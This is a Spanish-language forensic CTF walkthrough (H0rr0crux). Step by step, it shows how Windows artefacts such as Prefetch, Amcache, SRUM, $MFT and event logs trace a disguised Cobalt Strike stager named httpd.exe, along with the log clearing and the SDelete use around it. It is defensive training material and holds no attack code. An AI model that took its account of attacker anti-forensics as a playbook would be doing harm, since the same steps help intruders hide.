1. La evidencia es una adquisición tipo KAPE del equipo `DESKTOP-VK0V8TR` (usuario **Gregor**, VM de VirtualBox): `$MFT`, `$LogFile`, Amcache, SRUM, 247 Prefetch, 141 `.evtx`, logs del registro.
2. Prefetch y Amcache muestran varios ejecutables sospechosos; la mayoría resultan ser **señuelos**: `inject.exe` (nunca arrancó), `runas.exe` (= SDelete), `uninstall.exe` (= PE Look), VMProtect y un `tor.exe` falso.

3. **SRUM** (uso de red por aplicación) atribuye tráfico a un único binario sospechoso: `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe`, que se hace pasar por un componente de Microsoft.
4. La `$MFT` prueba que llegó por *drag & drop* desde el anfitrión y que se colgó dos veces; el fichero fue borrado (SDelete) y los logs de Windows recortados (`wevtutil`).
5. Amcache conserva su **SHA1**; VirusTotal lo identifica como **Cobalt Strike** (61 detecciones) y da su **MD5**.

## 9.5. Conceptos clave

| | |
|---|---|
| **Adquisición forense** | copia de los artefactos de un equipo (aquí, estilo KAPE) para analizarlos sin tocar el original. |
| **`$MFT`** | tabla maestra de NTFS: un registro por fichero/carpeta con nombres y fechas. |
| **Prefetch (.pf)** | caché de Windows que registra qué programas se ejecutaron, cuántas veces y cuándo. |
| **Amcache.hve** | inventario de ejecutables con su SHA1, tamaño y metadatos de versión. |
| **SRUM** | base de datos con el uso de recursos (incluida la red) por aplicación y por hora. |
| **PCA** | Program Compatibility Assistant: guarda en el registro del usuario las rutas de programas ejecutados. |
| **.evtx / Event ID** | registros de eventos de Windows; cada tipo de evento tiene un número (ID). |
| **SDelete** | herramienta de Sysinternals que borra ficheros de forma irrecuperable. |
| **wevtutil** | herramienta de Windows para gestionar (y borrar) los registros de eventos. |
| **WER / AppCrash** | Windows Error Reporting: informes que se crean cuando un programa se cuelga. |
| **SHA1 / MD5** | dos funciones hash distintas; Amcache guarda SHA1 y el reto pide MD5. |
| **VirusTotal** | servicio que analiza ficheros con decenas de antivirus y permite buscar por hash. |
| **Cobalt Strike / stager** | plataforma de ataque; el *stager* es el pequeño ejecutable que descarga el agente (Beacon). |
| **Gozi** | troyano bancario (también Ursnif/ISFB) que a menudo instala Cobalt Strike después. |
| **IOC** | indicador de compromiso: hash, ruta, IP o dominio que identifica la amenaza. |

## 9.6. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/H0rr0crux`

### Paso 1. Entrar y verificar

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd '/home/kali/Downloads/retosRecuperacion/H0rr0crux' && md5sum \
  evidencias_sorvologaunt*.7z
```

**Salida esperada**

```
130decf0165501e8e53148035b057bd5  evidencias_sorvologaunt (1).7z
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `130decf0165501e8e53148035b057bd5 evidencias_sorvologaunt (1).7z` | MD5 correcto |

### Paso 2. Tamaño del contenido

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
7z l evidencias_sorvologaunt*.7z | tail -3
```

**Salida esperada**

```
2019-12-06 21:29:00 ....A        11264               Windows/write.exe
------------------- ----- ------------ ------------  ------------------------
2022-03-02 14:39:45         2610779217    869868174  17550 files, 2120 folders
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 3 | `2022-03-02 14:39:45 2610779217 869868174 17550 files, 2120...` | 17.550 ficheros, 2,6 GB: no se pueden revisar uno a uno; hay que usar artefactos forenses |

### Paso 3. Extraer (varios minutos)

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
7z x -y evidencias_sorvologaunt*.7z -oevid | tail -4 && ls evid
```

**Qué hace cada parte**

| | |
|---|---|
| `-oevid` | carpeta de destino `evid` |

**Salida esperada**

```
Folders: 2120
Files: 17550
Size:       2610779217
Compressed: 870091187
$AttrDef
$BadClus
$Bitmap
$Boot
$I30
$LogFile
$MFT
$MFTMirr
$Secure
Users
Windows
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 10 | `$LogFile` | registro de transacciones NTFS |
| 11 | `$MFT` | tabla maestra NTFS |
| 14 | `Users` | perfil del usuario |
| 15 | `Windows` | artefactos del sistema |

**Errores posibles**

| | |
|---|---|
| `No space left on device` | faltan unos 3 GB libres en la VM |

### Paso 4. Artefactos disponibles

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
ls evid/Windows/appcompat/Programs evid/Users/Gregor | head -30; ls \
  evid/Windows/Prefetch | wc -l; ls evid/Windows/System32/winevt/Logs | wc -l
```

**Salida esperada**

```
evid/Users/Gregor:
$I30
$TXF_DATA
3D Objects
AppData
Configuración local
Contacts
Cookies
Datos de programa
Entorno de red
Impresoras
Menú Inicio
Mis documentos
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms
OneDrive
Plantillas
Reciente
Searches
SendTo
ntuser.dat.LOG1
ntuser.dat.LOG2
ntuser.ini

evid/Windows/appcompat/Programs:
Amcache.hve
Amcache.hve.LOG1
Amcache.hve.LOG2
Install
288
151
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `evid/Users/Gregor:` | usuario **Gregor** |
| **23** | `ntuser.dat.LOG2` | log de transacciones del registro del usuario |
| **27** | `Amcache.hve` | inventario de ejecutables |
| **31** | `288` | 288 ficheros en Prefetch |
| **32** | `151` | 151 en la carpeta de logs |

### Paso 5. Prefetch sospechosos

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
ls evid/Windows/Prefetch | grep -iE -e inject -e packed -e vmprotect -e 'tor\.exe' \
  -e runas -e fodhelper -e wevtutil -e taskkill -e '^sc\.exe' -e ftk -e hxd -e httpd
```

**Salida esperada**

```
BYTECODEGENERATOR.EXE-C1E9BCE6.pf
FODHELPER.EXE-8ECD01E5.pf
FTK IMAGER.EXE-1B23CEFA.pf
FTK.EXE-0DC36F5E.pf
```

```
FTK.EXE-9D1677E8.pf
FTKEXE~2.PF.copy0
FTKIMA~1.PF.copy0
HXD.EXE-1E343919.pf
INJECT.EXE-0732FB73.pf
PACKED.TMP-461CF410.pf
PACKED.TMP-952A2D31.pf
RUNAS.EXE-D9FE023F.pf
SC.EXE-945D79AE.pf
TASKKILL.EXE-8F5B2253.pf
TOR.EXE-A3D112C0.pf
VMPROTECT.EXE-ADABE41F.pf
WEVTUTIL.EXE-EF5861C4.pf
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `BYTECODEGENERATOR.EXE-C1E9BCE6.pf` | `tor.exe`: red anónima |
| **3** | `FTK IMAGER.EXE-1B23CEFA.pf` | FTK Imager y HxD: herramientas del analista, no del atacante |
| **9** | `INJECT.EXE-0732FB73.pf` | `inject.exe`: nombre que sugiere inyección de código |
| **10** | `PACKED.TMP-461CF410.pf` | instalador `.tmp` (Inno Setup) |
| **12** | `RUNAS.EXE-D9FE023F.pf` | `runas.exe` fuera de su sitio |
| **16** | `VMPROTECT.EXE-ADABE41F.pf` | empaquetador de software |
| **17** | `WEVTUTIL.EXE-EF5861C4.pf` | herramienta para **borrar logs** |

**Pista (línea 17)**

Hay limpieza de rastros y varios ejecutables raros.

**Siguiente paso:** Ver desde qué rutas y cuándo se ejecutaron.

### Paso 6. Línea de tiempo

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
bash prefetch_timeline.sh evid/Windows/Prefetch 'USERS|PROGRAMDATA|TEMP' | grep \
  -viE 'onedrive|google|brave|edge|chrome|defender|mpsigstub'
```

**Qué hace cada parte**

| | |
|---|---|
| `prefetch_timeline.sh` | script: con **sccainfo** (libscca) lee cada `.pf` y muestra última ejecución, veces y ruta |

**Salida esperada**

```
Dec 20, 2021 12:44:37.086364500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-KCM6S.TMP\
    ↪ WINSCP-5.19.5-SETUP.TMP
Dec 20, 2021 12:44:52.324464900 UTC | 2 | \USERS\GREGOR\DOWNLOADS\WINSCP-5.19.5-SETUP.EXE
Dec 20, 2021 12:44:53.286938500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-IFTT6.TMP\
    ↪ WINSCP-5.19.5-SETUP.TMP
Dec 20, 2021 12:51:10.594780300 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\MICROSOFT\UNINSTALL.EXE
Dec 20, 2021 12:51:29.828081500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-O1ALB.TMP\
    ↪ PACKED.TMP
Dec 20, 2021 12:51:34.002681800 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-OO94O.TMP\
    ↪ PACKED.TMP
Dec 20, 2021 12:51:45.065401800 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-1M2PV.TMP\
    ↪ _ISETUP\_SETUP64.TMP
Dec 20, 2021 12:52:26.034224700 UTC | 1 | \USERS\GREGOR\DOWNLOADS\INJECT.EXE
Dec 20, 2021 15:03:39.093624600 UTC | 3 | \USERS\GREGOR\APPDATA\RUNAS.EXE
Dec 20, 2021 15:04:43.336057700 UTC | 2 | \USERS\GREGOR\DOWNLOADS\VBOXWINDOWSADDITIONS.EXE
Dec 20, 2021 15:06:51.370483000 UTC | 3 | \USERS\GREGOR\DESKTOP\HXD.EXE
Dec 20, 2021 15:07:16.221198800 UTC | 2 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\TOR.EXE
```

```
13 Dec 20, 2021 15:09:46.011103300 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\{FDE8EF61-1621-48
      ↪ DC-AEEC-A1146422445B}\FTK.EXE
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 4 | `Dec 20, 2021 12:51:10.594780300 UTC \| 1 \| \USERS\GREGOR\APPDATA\LOCAL\...` | 12:51 `AppData\Local\Microsoft\uninstall.exe` |
| 5 | `Dec 20, 2021 12:51:29.828081500 UTC \| 1 \| \USERS\GREGOR\APPDATA\LOCAL\...` | 12:51 instalador de VMProtect |
| 8 | `Dec 20, 2021 12:52:26.034224700 UTC \| 1 \| \USERS\GREGOR\DOWNLOADS\INJE...` | 12:52 `inject.exe` en Descargas |
| 9 | `Dec 20, 2021 15:03:39.093624600 UTC \| 3 \| \USERS\GREGOR\APPDATA\RUNAS....` | `AppData\runas.exe`, 3 veces (ruta impropia para runas) |
| 12 | `Dec 20, 2021 15:07:16.221198800 UTC \| 2 \| \USERS\GREGOR\APPDATA\LOCAL\...` | `Temp\tor.exe`, 2 veces |
| 13 | `Dec 20, 2021 15:09:46.011103300 UTC \| 1 \| \USERS\GREGOR\APPDATA\LOCAL\...` | 15:09 FTK: el analista recoge evidencias |

**Pista (línea 9)**

Ejecutables de sistema en rutas de usuario: renombrados.

**Siguiente paso:** Ver sus nombres originales en Amcache.

### Paso 7. Detalle de ejecuciones

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
for f in RUNAS TOR WEVTUTIL INJECT; do sccainfo evid/Windows/Prefetch/$f.EXE-*.pf | grep \
  -E 'Executable filename|Run count|Last run time: [123]'; echo; done
```

**Qué hace cada parte**

| | |
|---|---|
| `for ...; do ...; done` | repite para cada nombre |
| `sccainfo` | lee un fichero Prefetch |

**Salida esperada**

```
1         Executable filename             : RUNAS.EXE
2         Run count                       : 3
3         Last run time: 1                : Dec 20, 2021 15:03:39.093624600 UTC
4         Last run time: 2                : Dec 20, 2021 13:08:50.526311900 UTC
5         Last run time: 3                : Dec 20, 2021 12:56:21.700668800 UTC
6
7         Executable filename             : TOR.EXE
8         Run count                       : 2
9         Last run time: 1                : Dec 20, 2021 15:07:16.221198800 UTC
10        Last run time: 2                : Dec 20, 2021 13:09:01.761015400 UTC
11        Last run time: 3                : Not set (0)
12
13        Executable filename             : WEVTUTIL.EXE
14        Run count                       : 12
15        Last run time: 1                : Dec 20, 2021 13:12:15.125620300 UTC
16        Last run time: 2                : Dec 20, 2021 13:12:15.053536300 UTC
17        Last run time: 3                : Dec 20, 2021 13:12:14.962758000 UTC
18
19        Executable filename             : INJECT.EXE
20        Run count                       : 1
21        Last run time: 1                : Dec 20, 2021 12:52:26.034224700 UTC
22        Last run time: 2                : Not set (0)
23        Last run time: 3                : Not set (0)
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **5** | `Last run time: 3 : Dec 20, 2021 1 2:56:21.700668800 UTC` | runas: 12:56, 13:08 y 15:03 |
| **10** | `Last run time: 2 : Dec 20, 2021 1 3:09:01.761015400 UTC` | tor.exe: 13:09 y 15:07 |
| **14** | `Run count : 12` | **wevtutil 12 veces** en segundos: borrado de logs |

### Paso 8. Amcache: SHA1 y nombre original

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 amcache_dump.py evid/Windows/appcompat/Programs/Amcache.hve --todo 2>/dev/null | \
  grep -i 'users\\gregor' | grep -viE 'onedrive|google|brave|edge' | cut -f1,2,4,5,6
```

Qué hace cada parte

| | |
|---|---|
| `amcache_dump.py` | script: con **regipy** lee la clave `InventoryApplicationFile` del registro Amcache |
| `cut -f1,2,4,5,6` | columnas: SHA1, tamaño, editor, nombre original, ruta |

Salida esperada

```
1 17de00205b7f464d70f8ecef14d7d1609b365fb2        56019336        accessdata      installshield
      ↪  setup.exe c:\users\gregor\desktop\ftk.exe
2 409aea9461d03bff3e006d3e7e7c4790a0862170        15360   microsoft       httpd.exe       c:\
      ↪ users\gregor\appdata\roaming\microsoft\windows\httpd.exe
3 f510721eb2e4ba451f73d0d3f96afae6a33cbbb0        6763520 ma?l h?rz       hxd.exe c:\users\
      ↪ gregor\desktop\hxd.exe
4 de275b64985009d335ab85b38d26a3026739a68a        226304                  c:\users\gregor\
      ↪ downloads\inject.exe
5 8e9b885a5544972d56a9e730b277b4df54832a65        76933800        vmprotect software
      ↪                                             c:\users\gregor\appdata\local\microsoft\
      ↪ packed.exe
6 4aa4b498ae037a2b0479659374a5c3af5f6b8d97        358784  sysinternals - www.sysinternals.com
      ↪    sdelete.exe     c:\users\gregor\appdata\runas.exe
7 99e107ca419959385ca57241fb6ed3796eaacc9e        231936                  c:\users\gregor\
      ↪ appdata\local\temp\tor.exe
8 b80a51f46b601e178180a70fa548bce4f62fea95        86528   bytepointer.com pelook.exe      c:\
      ↪ users\gregor\appdata\local\microsoft\uninstall.exe
9 db4ddce85f18f671d9aff6832a599f2483581c26        270840  oracle corporation
      ↪ vboxwindowsadditions.exe        c:\users\gregor\downloads\vboxwindowsadditions.exe
10 d35b0bcb01d0a10b0bb814e7b771bab77b99944a       11846088        martin prikryl
      ↪                                       winscp-5.19.5-setup.exe
      ↪      c:\users\gregor\downloads\winscp-5.19.5-setup.exe
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `409aea9461d03bff3e006d3e7e7c4790a086 2170 15360 microsoft ...` | `httpd.exe` 15.360 B, editor **microsoft**, en `AppData\Roaming\Microsoft\Windows`: Microsoft no instala nada ahí |
| **4** | `de275b64985009d335ab85b38d26a3026739 a68a 226304 ...` | `inject.exe` sin editor ni nombre original |
| **6** | `4aa4b498ae037a2b0479659374a5c3af5f6b 8d97 358784 sysinternals -...` | `runas.exe` es en realidad **SDelete** (borrado seguro) |
| **7** | `99e107ca419959385ca57241fb6ed3796eaa cc9e 231936 ...` | `tor.exe` 231 KB sin metadatos (el Tor real pesa varios MB) |
| **8** | `b80a51f46b601e178180a70fa548bce4f62f ea95 86528 bytepointer.co...` | `uninstall.exe` es **PE Look** (visor de ejecutables) |

**Pista (línea 2)**

Candidatos: `httpd.exe`, `tor.exe`, `inject.exe`. SDelete explica que falten ficheros.

**Siguiente paso:** Descartar los que no pudieron conectar.

### Paso 9. Defender e inject.exe

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 evtx_grep.py \
  'evid/Windows/System32/winevt/Logs/Microsoft-Windows-Windows Defender%4Operational.evtx' \
  inject --ids 1116,1117 | grep -E 'EventID|Threat Name|Path|Action Name'
```

**Qué hace cada parte**

| | |
|---|---|
| `evtx_grep.py` | script: con **python-evtx** recorre el `.evtx` y muestra los eventos que contienen el texto |
| `-ids 1116,1117` | 1116 = amenaza detectada; 1117 = acción tomada |

**Salida esperada**

```
1  === EventID 1116  2021-12-20 13:08:04.212959
2     Threat Name: Trojan:Win32/Sabsik.TE.A!ml
3     Path: file:_C:\Users\Public\Downloads\inject.exe
4     Action Name: %%887
5  === EventID 1117  2021-12-20 13:09:13.680716
6     Threat Name: Trojan:Win32/Sabsik.TE.A!ml
7     Path: file:_C:\Users\Public\Downloads\inject.exe
8     Action Name: %%809
9  === EventID 1116  2021-12-20 15:04:02.248278
10    Threat Name: Trojan:Win32/Sabsik.TE.A!ml
11    Path: file:_C:\Users\Gregor\Downloads\inject.exe
12    Type Name: FastPath
13    Action Name: No aplicable
14 === EventID 1117  2021-12-20 15:04:40.438679
15    Threat Name: Trojan:Win32/Sabsik.TE.A!ml
16    Path: file:_C:\Users\Gregor\Downloads\inject.exe
17    Type Name: FastPath
18    Action Name: Cuarentena
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `Threat Name: Trojan:Win32/Sabsik.TE.A!ml` | detección genérica por *machine learning*, no una familia concreta |
| **18** | `Action Name: Cuarentena` | 15:04: puesto en cuarentena |

### Paso 10. inject.exe nunca arrancó

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 evtx_grep.py evid/Windows/System32/winevt/Logs/System.evtx inject
```

**Salida esperada**

```
1 === EventID 26  2021-12-20 12:52:26.356272
2    Caption: inject.exe - Error del sistema
3    Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
       ↪ MSVCP140.dll. Este problema se puede solucionar reinstalando el programa.
4 === EventID 26  2021-12-20 12:52:26.389742
5    Caption: inject.exe - Error del sistema
6    Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
       ↪ VCRUNTIME140.dll. Este problema se puede solucionar reinstalando el programa.
7 === EventID 26  2021-12-20 12:52:26.422010
```

```
8    Caption: inject.exe - Error del sistema
9    Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
      ↪ VCRUNTIME140_1.dll. Este problema se puede solucionar reinstalando el programa.
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `=== EventID 26 2021-12-20 12:52:26.356272` | evento 26 = ventana de error del sistema |
| 3 | `Message: La ejecución de código no puede continuar porque no...` | le faltaban librerías de Visual C++ |

**Pista (línea 3)**

`inject.exe` **no pudo ejecutarse** → no hizo conexiones → señuelo.

**Siguiente paso:** Comprobar si los logs están completos.

## Paso 11. Logs cortados

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
cd evid/Windows/System32/winevt/Logs && python3 ../../../../../evtx_range.py \
  Application.evtx Security.evtx System.evtx \
  'Microsoft-Windows-Windows Defender%4Operational.evtx'; cd \
  '/home/kali/Downloads/retosRecuperacion/H0rr0crux'
```

Qué hace cada parte

| | |
|---|---|
| `../../../../../evtx_range.py` | el script está 5 carpetas más arriba (en `H0rr0crux`) |

Salida esperada

```
1 Application.evtx                                    407 eventos   2021-12-15 11:13:10  ->
      ↪ 2021-12-20 13:02:02
2 Security.evtx                                      1861 eventos   2021-12-15 11:12:50  ->
      ↪ 2021-12-20 13:01:08
3 System.evtx                                         627 eventos   2021-12-15 11:12:48  ->
      ↪ 2021-12-20 13:01:10
4 Microsoft-Windows-Windows Defender%4Operational.evtx     55 eventos   2021-12-15 11:13:18  ->
      ↪   2021-12-20 15:30:43
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `Application.evtx 407 eventos 2021-12...` | termina a las 13:02 |
| 2 | `Security.evtx 1861 eventos 2021-12..` | 13:01 |
| 3 | `System.evtx 627 eventos 2021-12...` | 13:01 |
| 4 | `Microsoft-Windows-Windows Defender%4Operational.evtx 55 eventos ...` | Defender sigue hasta 15:30 |

**Pista (línea 3)**

Los tres logs principales se cortan a la vez: borrados con `wevtutil`.

**Siguiente paso:** Usar artefactos que no se borran así: SRUM.

### Paso 12. Exportar SRUM

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
rm -rf srum && mkdir srum && cp evid/Windows/System32/sru/SRUDB.dat srum/ && cd srum && \
  esedbexport -t srum SRUDB.dat | tail -2 && cd ..
```

**Qué hace cada parte**

| | |
|---|---|
| `esedbexport` | herramienta de **libesedb**: exporta las tablas de una base ESE a texto |

**Salida esperada**

```
Exporting table 15 ({D10CA2FE-6FCF-4F6D-848E-B2E99266FA86}) out of 15.
Export completed.
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `Export completed.` | 15 tablas exportadas en `srum/srum.export/` |

### Paso 13. SRUM: quién usó la red

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 srum_net.py srum/srum.export | grep \
  -iE 'users\\gregor\\appdata\\(roaming|local\\temp)|users\\gregor\\downloads\\inject|runas'
```

**Qué hace cada parte**

| | |
|---|---|
| `srum_net.py` | script: une la tabla de uso de red `{973F5D5C...}` con la tabla de nombres `SruDbIdMapTable` |

**Salida esperada**

```
Dec 20, 2021 15:53:00.000000051 sent=800        recv=1214       \device\harddiskvolume2\users\
    ↪ gregor\appdata\roaming\microsoft\windows\httpd.exe
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `Dec 20, 2021 15:53:00.000000051 sent =800 recv=1214 \devic...` | **una única línea**: `httpd.exe` envió 800 B y recibió 1.214 B (registro de las 15:53) |

**Pista (línea 1)**

Es el único sospechoso con tráfico. `tor.exe`, `runas.exe` e `inject.exe` no aparecen.

**Siguiente paso:** Confirmar su historia en la `$MFT`.

### Paso 14. $MFT: llegada y fallos de httpd.exe

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 mft_record.py 'evid/$MFT' httpd.exe
```

**Qué hace cada parte**

| | |
|---|---|
| `mft_record.py` | script: busca el nombre en UTF-16 dentro de la `$MFT`, aplica el *fixup* de NTFS y decodifica los atributos de cada registro |
| `'evid/$MFT'` | comillas simples: `$MFT` no es una variable |

**Salida esperada**

```
=== Registro MFT #1521  (EN USO DIR)
  $SI  creado=2019-12-07 09:14:52.220959 modificado=2021-12-20 15:11:36.215079 mft_mod
    ↪ =2021-12-20 15:11:36.215079 acceso=2021-12-20 15:11:36.215079
```

```
  $FN  nombre=ReportArchive  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive
       creado=2021-12-15 11:06:21.129419 modificado=2021-12-15 11:06:21.129419

=== Registro MFT #111015  (EN USO DIR)
  $SI  creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:31.026581 mft_mod
    ↪ =2021-12-20 13:09:31.026581 acceso=2021-12-20 15:05:40.220976
  $FN  nombre=2021-1~1.964  ruta=\Users\Gregor\AppData\Local\Temp\VirtualBox Dropped Files
    ↪ \2021-1~1.964
       creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:30.964169
  $FN  nombre=2021-12-20T13_09_30.9641698００Z  ruta=\Users\Gregor\AppData\Local\Temp\
    ↪ VirtualBox Dropped Files\2021-12-20T13_09_30.9641698００Z
       creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:30.964169

=== Registro MFT #111027  (EN USO DIR)
  $SI  creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.675064 mft_mod
    ↪ =2021-12-20 13:10:39.675064 acceso=2021-12-20 15:11:36.215079
  $FN  nombre=APPCRA~1.EXE  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\APPCRA~1.
    ↪ EXE
       creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.652452
  $FN  nombre=AppCrash_httpd.exe_61d75d8da28e96822edcf0965c1faaab43d89_d06d61e9_7f8f696d-c11c
    ↪ -4984-b9f
9-6198229217e4  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_httpd.
    ↪ exe_61d75d8da28e96822edcf0
965c1faaab43d89_d06d61e9_7f8f696d-c11c-4984-b9f9-6198229217e4
       creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.652452

=== Registro MFT #111050  (EN USO DIR)
  $SI  creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.815541 mft_mod
    ↪ =2021-12-20 13:11:57.815541 acceso=2021-12-20 15:11:36.215079
  $FN  nombre=APPCRA~2.EXE  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\APPCRA~2.
    ↪ EXE
       creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.802886
  $FN  nombre=AppCrash_httpd.exe_61d75d8da28e96822edcf0965c1faaab43d89_d06d61e9_6f737479
    ↪ -2688-4278-b20
8-67af5a7f0c01  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_httpd.
    ↪ exe_61d75d8da28e96822edcf0
965c1faaab43d89_d06d61e9_6f737479-2688-4278-b208-67af5a7f0c01
       creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.802886
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **10** | `$FN nombre=2021-12-20T13_09_30.9641 69800Z ruta=\Users\Gregor\AppData...` | 13:09:30: `httpd.exe` se **arrastró desde el anfitrión** a la VM |
| **17** | `$FN nombre=AppCrash_httpd.exe_61d75 d8da28e96822edcf0965c1faaab43d89_d...` | 13:10:39: primer fallo (informe WER) |
| **24** | `$FN nombre=AppCrash_httpd.exe_61d75 d8da28e96822edcf0965c1faaab43d89_d...` | 13:11:57: segundo fallo |

**Pista (línea 10)**

No hay registro del propio `httpd.exe`: se borró.

**Siguiente paso:** Comprobar que no está en la evidencia.

## Paso 15. PCA (Asistente de compatibilidad)

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
strings -a evid/Users/Gregor/ntuser.dat.LOG2 | grep -i 'httpd'
```

**Salida esperada**

```
C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe` | Windows registró su ejecución en la clave PCA del usuario |

### Paso 16. No queda en la evidencia

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
cd evid && find . -type f -print0 | xargs -0 sha1sum | grep -ci -e \
  409aea9461d03bff3e006d3e7e7c4790a0862170 -e 99e107ca419959385ca57241fb6ed3796eaacc9e \
  -e de275b64985009d335ab85b38d26a3026739a68a; cd ..
```

Qué hace cada parte

| | |
|---|---|
| `find -print0 \| xargs -0 sha1sum` | SHA1 de los 17.550 ficheros |
| `grep -ci` | cuenta coincidencias con los SHA1 de Amcache |

Salida esperada

```
0
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `0` | 0 coincidencias: ninguno de los tres sospechosos está en la evidencia |

**Pista (línea 1)**

Solo queda su SHA1 (Amcache).

**Siguiente paso:** Pasar el SHA1 a MD5 con VirusTotal.

### Paso 17. Señuelo restante: uninstall.exe

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/H0rr0crux]#
python3 pe_info.py evid/Users/Gregor/AppData/Local/Microsoft/uninstall.exe
```

Salida esperada

```
Machine          : 0x14c  (x86)
TimeDateStamp    : 2020-09-12 23:38:04 UTC
e_lfanew         : 0xd0
NumberOfSections : 4
ImageBase        : 0x400000
EntryPoint (RVA) : 0xf393
SizeOfImage      : 0x18000  (0.1 MB)
Subsystem        : 3
DataDirectories  : 16
Firma Authenticode: no

Secciones:
  .text    VA=0x1000    VSize=0xf4e0    Raw=0xf600    entropía=6.48
  .rdata   VA=0x11000   VSize=0x4fd6    Raw=0x5000    entropía=5.47
  .data    VA=0x16000   VSize=0x190     Raw=0x200     entropía=2.69
  .rsrc    VA=0x17000   VSize=0x5b8     Raw=0x600     entropía=4.51

Recursos de versión:
  ProductName        = PE Look (pelook)
  OriginalFilename   = pelook.exe
  FileVersion        = 1.73 build 2009120
  ProductVersion     = 1.73 build 2009120
```

```
  FileDescription    = PE/COFF dump and conversion tool
  CompanyName        = bytepointer.com
  LegalCopyright     = copyright (c) bytepointer.com 2016-2020
  Comments           = freeware

Imports:
  VERSION.dll: 3 funciones -> GetFileVersionInfoA, GetFileVersionInfoSizeA, VerQueryValueA
  KERNEL32.dll: 40 funciones -> DeleteCriticalSection, GetLastError, GetModuleFileNameA,
    ↪ VerLanguageNameA, RtlUnwind, LeaveCriticalSection, HeapAlloc, GetProcessHeap ...
  imagehlp.dll: 1 funciones -> MapFileAndCheckSumA
  USER32.dll: 1 funciones -> MessageBoxA
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **19** | `ProductName = PE Look (pelook)` | PE Look: visor de ejecutables |
| **24** | `CompanyName = bytepointer.com` | bytepointer.com |
| **30** | `KERNEL32.dll: 40 funciones -> Delete CriticalSection, GetLastError, Get...` | sin librerías de red (no hay `ws2_32` ni `wininet`) |

### Paso 18. VirusTotal: de SHA1 a MD5

**Para qué:** Sustituye `TU_API_KEY` por tu clave gratuita de VirusTotal.

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
